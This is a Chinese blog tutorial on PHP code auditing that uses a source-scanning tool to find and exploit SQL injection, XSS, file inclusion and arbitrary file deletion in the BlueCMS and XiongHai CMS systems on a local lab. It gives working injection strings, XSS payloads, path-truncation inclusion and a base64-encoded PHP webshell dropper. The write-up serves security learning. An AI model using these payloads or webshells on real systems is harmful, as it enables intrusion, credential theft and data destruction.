代码审计
概念
什么是代码审计?
代码审计是在一个编程中对源代码旨在发现错误、安全漏洞或违反编程约定的项目。 说人话就是找它这些代码中可能存在问题的地方,然后看它是否真的存在漏洞。(博主小白,可能存在问题,请见谅)
分类
代码审计的话大致分为三种,白盒、黑盒和灰盒
白盒测试
较为官方的定义
已知产品的内部工作过程,可以进行测试证明每种内部操作是否符合设计规格要求,所有内部成分是否经过检查。
其实这种测试的话就是你可以看到源代码,直接从代码中来看哪里可能出现问题,然后进行检测,此时你是知道内部结构的,测试相对黑盒测试会比较容易一点
黑盒测试
较为官方的定义
已知产品的功能设计规格,可以进行测试证明每个实现了的功能是否符合要求。
其实黑盒测试的话就是你只知道网页的大致结构,然后对各个功能开始检测,按自己的思路进行测试,比如看到留言界面,测试XSS,看到登录界面,测试SQL注入这种
灰盒测试
灰盒测试是介于白盒测试与黑盒测试之间,自己测试的同时结合代码来看。 一般代码审计的话都是类似于这种灰盒测试的。
如何代码审计
了解CMS结构
每个CMS都拥有数以百计的文件,这个时候我们该如何审,从哪里审呢,这个时候就要关注重要点,以这里的bluecms为例
这里有多个文件及文件夹,该从何入手呢,首先就从文件夹的名字入手,因为程序员在开发时一般不会随意起名,对应的文件夹名一般都是有作用的,例如这里的install
就是安装目录,具体分类大致如下
├── admin 后台管理目录 ├── install 网站的安装目录 ├── api 接口文件目录 ├── data 系统处理数据相关目录 ├── include 用来包含的全局文件 └── template 模板
同时它还有 (1)函数集文件,它的定义如下
这类文件通常命名中包含functions或者common等关键字,这些文件里面是一些公共的函数,提供给其他文件统一调用,所以大多数文件都会在文件头部包含到它们,寻找这些文件一个非常好用的技巧就是去打开index.php或者一些功能性文件,在头部一般都能找到。
(2)配置文件,它的定义如下
这类文件通常命名里面包括config这个关键字,配置文件包括Web程序运行必须的功能性配置选项以及数据库等配置信息,从这个文件里面可以了解程序的小部分功能,另外看这个文件的时候注意观察配置文件中参数值是用单引号还是用的双引号包起来,如果是双引号,则很大可能会存在代码执行漏洞。
寻找关键词
大致的分类的话就如下所示
命令执行 system、shell_exec、passthru、popen、proc_open 文件包含 require、include、require_once、include_once 变量覆盖 parse_str 、mb_parse_str 代码执行 eval、assert、preg_replace 文件操作 file_get_contents 、file_put_contents 、move_uploaded_file 、unlink & delete
这些是大致的关注点,但是如果自己去找的话一般这么多的文件,一个个ctrl+f寻找关键词也是比较慢的,因此一般的话是借用工具的,但工具不是百分百灵验的,我们需要结合自己的判断来看它是否真的存在漏洞,一会介绍一下工具,现在先具体的介绍一下这些关注点
SQL注入关键词
SQL注入,关注点就是SELECT xxx From xxx WHERE xxx
以及UPDATE xxx SET xxx WHERE xxx
这些字词,当出现这些的时候,才有可能出现SQL注入。 同时还要关注character_set_connect='gbk'
这种语句,出现它时可能会出现宽字节注入。
例如
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); $db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
XSS关键词
XSS常见地是留言板,新闻编辑处这些可以写入内容的地方,同时我们可以结合之前存在的漏洞进行尝试XSS。
任意文件删除关键词
这类在修改头像、修改内容时可能比较常见,然后一般我们就可以去这类文件下看它是否有unlink
函数,如果有的话就可能存在任意文件删除漏洞
工具
我们一般自己去找的话有点慢,效率不高,但代码审计有应用可以帮助我们进行代码审计,常见的是Seay源代码审计系统,seay工具链接如下 GitHub - f1tz/cnseay: Seay源代码审计系统 我们关注的SQL注入,我们就可以去搜索SELECT
以及UPDATE
对应的任意文件删除漏洞,我们就去搜索unlink
函数
这个时候就可以直接定位到利用函数的语句中,相比自己找要快捷很多,同时Seay代码审计具有自动代码审计的功能,用它也是蛮方便的。 下面开始审计
bluecms
环境配置
这个CMS是比较简单的一个,源码链接如下 GitHub - source-trace/bluecms 我的环境配置是phpstudy 2018 5.5.38+mysql5.5.53
,不要用7+这种高版本的php,因为这个cms是比较老的,它的部分函数与新版本php两者是不相匹配的,然后搭建好后访问bluecms-master/install/
,这个时候可能界面是空白,我们需要开启一下允许目录列表
然后去删除bluecms-master\install\compile
下的php文件
此时再去重新访问install
按照步骤配置即可,但是到step=5
时又变成空白了,不过这个时候已经搭建好了,访问bluecms-master/index.php
就可以发现已经配置成功
工具扫描
使用seay工具进行扫描 扫描这个cms后得到很多数据
开始挨个进行分析
SQL注入
ad_js.php
跟进第一条
包含了common.inc.php
文件,跟进查看这个文件
if语句中有一个get_magic_quotes_gpc
函数,查看这个get_magic_quotes_gpc
函数 这么看的话其实就是相当于if语句中始终为1,那也就是说它对GET POST COOKIES REQUEST
这些请求的参数加上了deep_addslashes
函数,此时跟进这个函数进行查看 可以发现这里其实就是加上了addslashes
函数,而这个函数呢是对单引号、双引号、反斜线
加上\
进行转义的,因此这里其实就是限制了单引号、双引号、反斜线
的使用,防止SQL注入
再回到最开始,发现注入参数是ad_id
,观察代码可以看出它对ad_id
参数先进行了trim()
过滤,也就是过滤了参数中的空白字符,例如空格 \t \r \n
这些,之后呢进行了SQL注入查询语句,参数两边是没有加单引号的,看起来是可以进行SQL注入的,此时发现getone
函数,我们跟进这个函数进行查看 从这里看出它这个函数是将结果取出的,因此这里的话我们总结一下,它就是一个SQL查询语句,我们可以控制where ad_id=xxx
这一部分,同时它有这个单引号
过滤函数,但是这里变量是没有被单引号包裹的,所以这里这个函数其实是无效的,而且这个结果有回显,会返回结果,我们此时就可以尝试在此界面进行SQL注入 访问bluecms-master/ad_js.php
,先看一下字段数
ad_id=-1 order by 7 ad_id=-1 order by 8
当是7的时候无回显,为8的时候报错,说明字段数为7,接下来尝试联合查询
-1 union select 1,2,3,4,5,6,7
看起来是无回显的,但当我们去查看源代码时就会发现是有回显的,不过加了注释
因此这里的这个7就是回显位,接下来开始注入即可
//查库 -1 union select 1,2,3,4,5,6,database() //查表 -1 union select 1,2,3,4,5,6,(select group_concat(table_name) from infromation_schema.tables where table_schema=database()
当然这里这个查表也可以用十六进制来进行绕过
我这里的数据库名是root
,对其进行十六进制加密后为726f6f74
,加上0x
使得能够被识别为十六进制数,构造payload如下
//查表 ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(table_name) from information_schema.tables where table_schema=0x726f6f74) //查列(以blue_user为例) ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(column_name) from information_schema.columns where table_name=0x626c75655f75736572) //查字段 ad_id=-1 union select 1,2,3,4,5,6,(select group_concat(user_id,0x7e,user_name,0x7e,pwd) from blue_user)
ann.php(失败)
只看这个SELECT
语句的话,确实是没有什么过滤的,看起来可以进行SQL注入
但是看最上面的传值处就会发现
这两个在有值时,结果是intval
函数包含后的,我们测试一下这个函数
<?php $a=$_REQUEST['a']; echo intval($a); ?>
可以发现字母都被pass了,因此这里的话,就没办法进行SQL注入了 G,下一个。
comment.php(失败)
打开发现这个SELECT
语句中id
变量是无单引号包裹的
id如果没有被过滤的话,就存在可注入点,看id传值处
id添加了intval
函数,因此这个参数是无法进行注入了,此时这个type也同理,限制了值只能是0或1
,这个act
的话
限制了只能为list
或者send
,而且它不在查询语句这种里面,在这个文件里没有用到,因此也是可以判定为没戏的,所以这个文件也G
user.php(失败)
按照seay审计系统的来,发现这个有select语句,但是它的变量都是有单引号包裹的
在最上方看看包含的文件
发现包含有这个common.inc.php
文件,而这个文件中有过滤单引号的函数,因此这里不存在SQL注入。
下一处
这里的id变量未被单引号包裹,但它在传值时添加了intval
函数,这意味着字符串无法上传,因此这个也是无法成功注入的。PASS
XSS
ad_js.php
这个ad_id
变量可控,而且它没有单引号包裹,那不就意味着我们可以随意构造后面的语句,不仅仅是SQL注入,XSS应该也是可以的,我们构造payload如下
1 <script>alert(/quan9i/)</script>
user.php
elseif ($act == 'do_add_news') { include_once 'include/upload.class.php'; $image = new upload(); $title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : ''; $color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : ''; $cid = !empty($_POST['cid']) ? intval($_POST['cid']) : ''; if(empty($cid)){ showmsg(' ŷ Ϊ '); } $author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name']; $source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : ''; $content = !empty($_POST['content']) ? filter_data($_POST['content']) : ''; $descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90); if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){ $lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');
这里发现title和color添加了转换HTML实体函数,因此是可以确定是不存在XSS的,下面亦是如此,但我们发现包含content的函数是不同的,它是filter_data
函数包裹的,跟进这个函数看看
函数如下
function filter_data($str) { $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str); return $str; }
发现过滤了常用的xss标签,但仍存在其他的xss标签,如
<img src=1 οnerrοr=alert(1)> <a href=javascript:alert(1)></a> <svg οnlοad=alert(1)> <button οnclick=alert(1)>
此时这个应该是有可能的,我们看后面他还有没有过滤
可以发现这个SQL语句直接将这个content给写进去了,那这里就应该是存在XSS的,我们尝试构造一下
这里加*的应该是必选项,那我们就只写这几个即可,构造payload如下
点击编辑
成功触发XSS
guest_book.php
在看前台的时候发现有一个留言的界面,点击访问,url跳转到了guest_book.php
下,查看源码
可以发现这个里面的内容加上了HTML实体标签,因此内容实现XSS是没戏,而且在开头可以发现包含了一个文件
这个文件里面对单引号进行了转义,这里的话还剩一个变量是page_id
,可以发现这个参数是没有被单引号或者双引号包裹的,然后我们看一下包含它的showmsg
函数
也并未对这个id进行过滤,说明这里可能有戏,我们先正常上传一个123试试
上传后没有异常,查看界面源代码
找到我们的page_id变量,这里就可以发现是被input标签中value属性包含的,如果我们可以摆脱这个,那么就可以实现xss,那这个时候我们闭合双引号,先写一个"
,再闭合标签,用>
,而后加上我们的xss语句<scipt>alert(1)</script>
即可,此时我们想到开头不是有一个转义双引号的吗,但是我们看一下这里此时的语句
value="\"><script>alert(1)</script>"
这个\正好被当做了value的值,双引号还是起到作用了,此时我们来传值进行尝试
成功XSS
文件包含
user.php
seay审计代码系统扫描中发现一个文件包含漏洞
跟进进行查看
发现这里在上过pay之后直接进行了包含,如果版本号低的话,应该是可以利用%00截断
%00截断 magic_quotes_gpc=off,PHP小于5.3.4
还有路径长度截断
路径长度截断 Linux 需要文件名长于 4096,Windows 需要长于 256
但在这里测试%00截断行不通,尝试路径长度截断可行
这里的php文件是本地的,那我们该如何去上传一个文件来getshell呢
发现user下有一个上传头像的,如果这个文件名可控的话,那么就可以getshell了
发现此时给出了文件名
包含一下同时传值进行尝试
成功,还有一种方式,因为这里的话是include一个文件,我们知道include文件的话,就会执行这个文件里的语句,那我们就可以让他包含一个文件,然后这个文件里写入我们的小木马即可,示例如下 这个是1.php
<?php include("qq.php"); ?>
然后这个是qq.php
<?php @fputs(fopen('shell.php','w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+'));?> //PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+为<?php @eval($_POST[1])?>
然后我们去访问1.php
此时再看这个文件夹下
成功写入,原理就是这样。此时我们再来看这里,我们传入的方式的话就是上传头像,我们将我们php文件改为jpg而后上传,内容依旧是写入shell.php,其内容为一句话木马
<?php @fputs(fopen('shell.php','w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKT8+'));?>
此时还需要进行一下文件包含,我们去查看一下当前的头像路径
此时去包含它,用刚刚路径长度截断的姿势即可
此时去查看shell.php,如果界面空白则应该是上传成功
蚁剑连接
任意文件删除
这种的话一般是找unlink
函数,这个函数是删除文件的,可能存在任意文件删除漏洞,这里的话我门用seay代码审计工具来进行查看
跟进user.php查看
user.php
id参数(失败)
看起来的话是没有什么过滤的,不过前面有个query函数,跟进查看一下
可以发现当它查询这个id在结果中没有的时候,它就会把错误返回,那这个时候就无法继续运行了,而我们如果想实现任意文件删除的话,变量id肯定是要写成文件名的,那这个时候无法往下运行,这个也就无法实现任意文件删除,因此这个实现不了任意文件删除
face_pic3参数
这个有多个参数中涉及了unlink
函数,我们挨个进行查看
这里的话可以发现这个face_pic3
是在unlink函数下的,跟进这个变量会发现也只在这里提及,因此这里的话不存在过滤,此时如果这个else语句能执行,我们就可以通过控制这个变量来实现任意文件删除,此时看看上面语句
它是在act
变量为edit_user_info
下的,因此我们令act为edit_user_info
即可,而后发现这些变量不传不会跳出,我们就不填这些变量即可,然后来到这个if-else语句,为了让else语句执行,所以if的条件是不能满足的,if里的条件是face_pic1
不为空,我们这里让它为空就可以执行else语句,因此按理说直接post传face_pic3
就可以实现任意文件删除,尝试 我们这里本地是有shell.jpg的,我们删除它来试试
发包
成功实现。
lit_pic参数
发现这个lit_pic
变量
然后跟进变量的话发现它是只出现在这里的,这意味着它这个变量是没有其他过滤的,这里我们也不需要输入单引号或者双引号,直接让lit_pic
等于我们想删除的文件夹名即可实现任意文件删除,但是要实现这个,肯定需要满足上面的条件,这样才能往下进行,因此我们从上面的语句开始看
只有这个 首先满足这个,所以我们就需要写title
变量
姓名和电话,这意味着link_man
和link_phone
也是需要填写的,还有开始的变量lit_pic
,这里post传入的也就是四个变量,这个时候先看看我们本地的文件
可以发现是有shell.php的,我们尝试删除它,即让lit_pic
的值为它
此时查看本地
成功实现了任意文件删除
熊海cms
环境搭建
下载地址熊海CMS|熊海CMS v1.0下载_网站源码 - 站长源码 安装后访问install
界面
填写完成过后点确定即可
此时再访问index.php
配置完成
了解CMS结构
结构如下
对应功能如下
admin --管理后台文件夹 css --存放css的文件夹 files --存放页面的文件夹 images --存放图片的文件夹 inc --存放网站配置文件的文件夹 install --网站进行安装的文件夹 seacmseditor --编辑器文件夹 template --模板文件夹 upload --上传功能文件夹 index.php --网站首页
工具扫描
发现存多个漏洞,包括SQL注入
和任意文件包含
等,下面开始进行分析
文件包含
index.php
源码如下
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件
可以发现这里没有包含什么文件,开始看代码。 这个的话是get传参了一个变量r,这个r被addslashes
函数包裹 然后把这个值赋给了file变量,此时有个三元运算符,如果变量file为空就令file等于index同时赋值给action变量,否则就令变量file为变量r的值,然后赋值给action变量 此时包含了这个action变量,在action前后进行了拼接。
这里的代码就读到这就结束了,然后我们需要了解一下这个addslashes
函数
addslashes — 使用反斜线引用字符串 该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
也就是说对单引号、双引号、反斜线和NUL进行了转义,这里的话我们的路径一般用的是./
这些,不受影响,因此这里的话我们先在本地放一个1.php文件,写入phpinfo()
传一下看看是否能成功上传
成功
那如果不是php文件的话,这里该怎么进行利用呢,这个时候就用到了路径长度截断,在bluecms中也曾利用过,这里我们再次尝试 先在本地放一个txt文件 内容为phpinfo即可,具体如下
采用路径长度截断(.号长度大于256即可)
注
但这个经过测试,只有在php版本为5.2.17时可以成功,其他情况都不行
这个的话是可以成功进行文件包含的,看下一处
admin/index.php
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?>
代码同上,这里肯定也可以进行文件包含,思路同上即可,不再演示
SQL注入
这种的话可以先测测登录点,一般都是admin,这种登录框的可能会出现SQL注入,先测试一下是否是单引号闭合的
报错,有戏 既然报了个错,那就用个报错注入好了 爆库
1' and (extractvalue(1,concat(0x7e,(select database() limit 1,1),0x7e)))#
爆表
1' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)))#
后面按照常规注入即可,此时看看后端代码
<?php ob_start(); require '../inc/conn.php'; $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox']; if ($login<>""){ $query = "SELECT * FROM manage WHERE user='$user'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result); if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }else{ $passwords=$users['password']; if(md5($password)<>$passwords){ echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit;
发现user是没有进行过滤的,直接放入了select语句中,造成了SQL注入
admin/files/adset.php(失败)
<?php require '../inc/checklogin.php'; require '../inc/conn.php'; $setopen='class="open"'; $query = "SELECT * FROM adword"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $ad = mysql_fetch_array($resul); $save=$_POST['save']; $ad1=addslashes($_POST['ad1']); $ad2=addslashes($_POST['ad2']); $ad3=addslashes($_POST['ad3']); if ($save==1){ $query = "UPDATE adword SET ad1='$ad1', ad2='$ad2', ad3='$ad3', date=now()";
可以看到这里的话有这个"UPDATE adword SET ad1='$ad1'
语句,我们这里可控的变量是ad1,但ad1被单引号包裹了,我们如果想要进行SQL注入的话肯定需要闭合单引号,此时我们看ad1的传入方式,发现$ad1=addslashes($_POST['ad1']);
,它被这个addslashes
函数包裹了,这就意味着我们的单引号输入后会被转义,那也就无法闭合之前的语句,因此无法实现SQL注入,这里是误报了属于是
admin/files/editcolumn.php
部分代码如下
<?php require '../inc/checklogin.php'; require '../inc/conn.php'; $columnopen='class="open"'; $id=$_GET['id']; $type=$_GET['type']; if ($type==1){ $query = "SELECT * FROM nav WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $nav = mysql_fetch_array($resul); } if ($type==2){ $query = "SELECT * FROM navclass WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $nav = mysql_fetch_array($resul); }
这里我们可以看见到这个id参数是可控的,虽然它被包裹在单引号中,但id的传参是直接get传参的,此时就剩下两个开头的包含文件了,如果包含的文件是没有过滤的话,那这里应该就是可以进行SQL注入的,查看这两个文件 conn.php内容如下
<?php error_reporting(0); header('Content-Type:text/html;charset=utf-8'); require 'conn.info.php'; //常量参数 define('DB_HOST',$DB_HOST); define('DB_USER',$DB_USER); define('DB_PWD',$DB_PWD); define('DB_NAME',$DB_NAME); //第一步,连接MYSQL服务器 $conn = @mysql_connect(DB_HOST,DB_USER,DB_PWD) or die(header('Location: /install')); //第二步,选择指定的数据库,设置字符集 mysql_select_db(DB_NAME) or die('数据库错误,错误信息:'.mysql_error()); mysql_query('SET NAMES UTF8') or die('字符集设置错误'.mysql_error()); date_default_timezone_set('PRC'); //设置中国时区 ?>
连接数据库的文件,再查看另一个 checklogin.php内容如下
<?php $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit; } ?>
这个是检验是否登录的 因此这里不存在过滤,接下来去尝试一下SQL注入
尝试闭合
r=editcolumn&type=2&id=1' --+
成功,接下来查看字段数
字段数为9,接下来查看回显位
3、4、5、8都可以,随便整一个开始注入
r=editcolumn&type=2&id=-1' union select 1,2,database(),4,user(),6,7,@@version,9 --+
成功注入
admin/files/editsoft.php
部分源码如下
<?php require '../inc/checklogin.php'; require '../inc/conn.php'; $wzlistopen='class="open"'; $id=$_GET['id']; $query = "SELECT * FROM download WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_Aerror()); $download = mysql_fetch_array($resul);
可以看出是类似于上面那个文件的,尝试用上关方法去进行SQL注入
查询字段数
字段数为18,查看回显位
开始联合查询
r=editsoft&type=2&id=-1'union select 1,database(),3,4,5,6,7,8,9,user(),@@version,12,13,14,15,16,17,18--+
成功注入
downloads. php
这里的话可以发现是id参数是被')
包裹的,且来自于变量fileid
,fileid
变量是由cid参数经过addlashes
函数后得到的,那这里的话单引号肯定就会被转义了,想闭合语句的话不太可能,所以这里的话SQL注入是没戏,这里算是G了。
install/index.php
在此处发现有update语句和可控的变量password
和username
,查看这两个变量的传入方式
可以发现是直接传入的,没有什么过滤,那么这里就可以在user变量处尝试SQL注入了 单引号测试
结果如下
尝试报错注入
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
爆表
1' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)))#
XSS
admin/files/adset.php
关键代码如下
<div class="form-group"> <label class="col-lg-4 control-label">广告一</label> <div class="col-lg-8"> <textarea name="ad1" class="form-control col-lg-12" placeholder="ad-1"><?php echo $ad['ad1']?></textarea> </div> </div>
可以发现这里的变量ad1是可控的,然后他是在</textarea>
标签中,如果闭合了这个标签,是不是就意味着我们可以构造自己的语句,也就可以写xss了,此时看一下传变量的方式
<?php require '../inc/checklogin.php'; require '../inc/conn.php'; $setopen='class="open"'; $query = "SELECT * FROM adword"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $ad = mysql_fetch_array($resul); $save=$_POST['save']; $ad1=addslashes($_POST['ad1']); $ad2=addslashes($_POST['ad2']); $ad3=addslashes($_POST['ad3']); if ($save==1){ $query = "UPDATE adword SET ad1='$ad1', ad2='$ad2', ad3='$ad3', date=now()"; @mysql_query($query) or die('修改错误:'.mysql_error()); echo "<script>alert('亲爱的,广告设置成功更新。');location.href='?r=adset'</script>"; exit; } ?>
发现是POST传值,这里还有addslashes
函数,但变量未被单引号包裹,我们不需要单引号,这就意味着这个是没有什么作用的,尝试xss
ad1=</textarea><script>alert(1)</script>&save=1
admin/login
刚刚我们测试过它存在SQL注入漏洞,并且知道它是单引号闭合,既然我们可以后面写入报错语句,那岂不是也可以写入我们的xss语句,尝试一下
1'adn<script>alert(1)</script>#
调用一下cookie
install/index.php
总结
从这两个简单的CMS代码审计中学到了一点知识,简单的总结一下
不同CMS异同
大部分没MVC框架的CMS,他们的结构是比较相似的,我们可以看一下这两个CMS的结构
可以发现两者的结构是比较相像的,当我们掌握文件夹的功能时,就能够使得我们的代码审计轻松许多,因此通过文件夹掌握其功能含义是我们首先需要做到的
区别的话就是有的程序员会把css单独作为文件夹(例如这里的xhcms),有的会把js文件单独作为文件夹(这里的bluecms),不过这些都是无关紧要的,大致知道文件夹是什么含义,存放的文件是什么就可以
常见关注点
SQL注入:
select insert update mysql_query mysqli等
文件上传:
$FILES,type="file",上传,move_upload_file( )等
XSS跨站:
print,print_r,echo,sprintf,die,var_dump,var_export等
文件包含:
include,include_once,require,require_once等
代码执行:
eval,assert,preg,replace,call,user,func,call_user_func,array等
命令执行:
system,exec,shell_exec,``,passthru,pcntl_exec,popen,proc_open等
变量覆盖:
extract() parse_str() importrequestvariables() $$
反序列化:
serialize() unserialize() _construct _destruct等
个人感想
我们挖掘出一个漏洞的时候,它可能不仅仅只是这一个漏洞,举个例子。 当我们关注一个地方的SQL注入的话,就是找SELECT * from
此类语句,同时如果它存在SQL注入的话,那它可能不仅仅是SQL注入点,也可能是XSS点,因为后面语句可控的话,插上一个<script>alert(1)</script>
也并非难事,但这些SQL语句也并不少,这就需要我们观察语句是否可控,同时看是否过滤了,是否过滤十分严格以致于不存在漏洞,总之多多进行测试,实践出真知。
参考文章
PHP代码审计之旅 - 先知社区 xhcms审计学习 - 先知社区 https://www.cnblogs.com/Cl0ud/p/12824593.html https://www.cnblogs.com/wkzb/p/12732078.html https://www.cnblogs.com/zjhzjhhh/p/14338775.html 网安学习-代码审计_beescms 查找mysql密码_YAy17的博客-CSDN博客